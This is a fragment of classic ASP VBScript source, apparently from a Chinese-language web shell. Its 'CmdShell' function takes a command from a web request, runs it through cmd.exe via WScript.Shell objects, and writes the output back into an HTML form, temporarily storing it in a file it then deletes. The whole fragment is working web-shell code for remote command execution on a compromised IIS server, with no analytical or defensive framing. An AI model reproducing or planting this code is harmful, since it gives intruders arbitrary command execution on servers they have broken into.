Function CmdShell() If
Request("SP")<>"" Then Session("ShellPath") =
Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then
ShellPath = "cmd.exe" if Request("wscript")="yes" then checked="
checked" else checked="" end if If Request("cmd")<>"" Then
DefCmd = Request("cmd") SI="<form method='post'><input name='cmd'
Style='width:92%' class='cmd' value='"&DefCmd&"'><input
type='submit' value='运行'>" SI=SI&"<textarea
Style='width:100%;height:500;' class='cmd'>" If
Request.Form("cmd")<>"" Then if Request.Form("wscript")="yes"
then Set CM=CreateObject(ObT(1,0)) Set DD=CM.exec(ShellPath&" /c
"&DefCmd) aaa=DD.stdout.readall SI=SI&aaa else%> <object
runat=server id=ws scope=page
classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <object
runat=server id=ws scope=page
classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <object
runat=server id=fso scope=page
classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object> <%szTempFile
= server.mappath("cmd.txt") Call ws.Run (ShellPath&" /c " & DefCmd
& " > " & szTempFile, 0, True) Set fs =
CreateObject("Scripting.FileSystemObject") Set oFilelcx = fs.OpenTextFile
(szTempFile, 1, False,
0) aaa=Server.HTMLEncode(oFilelcx.ReadAll) oFilelcx.Close Call
fso.DeleteFile(szTempFile, True) SI=SI&aaa end if End
If SI=SI&chr(13)&"</textarea>" SI=SI&"SHELL路径:<input
name='SP' value='"&ShellPath&"' Style='width:70%'>
" SI=SI&"<input type='checkbox' name='wscript'
value='yes'"&checked&">WScript.Shell</form>" Response.Write
SI End Function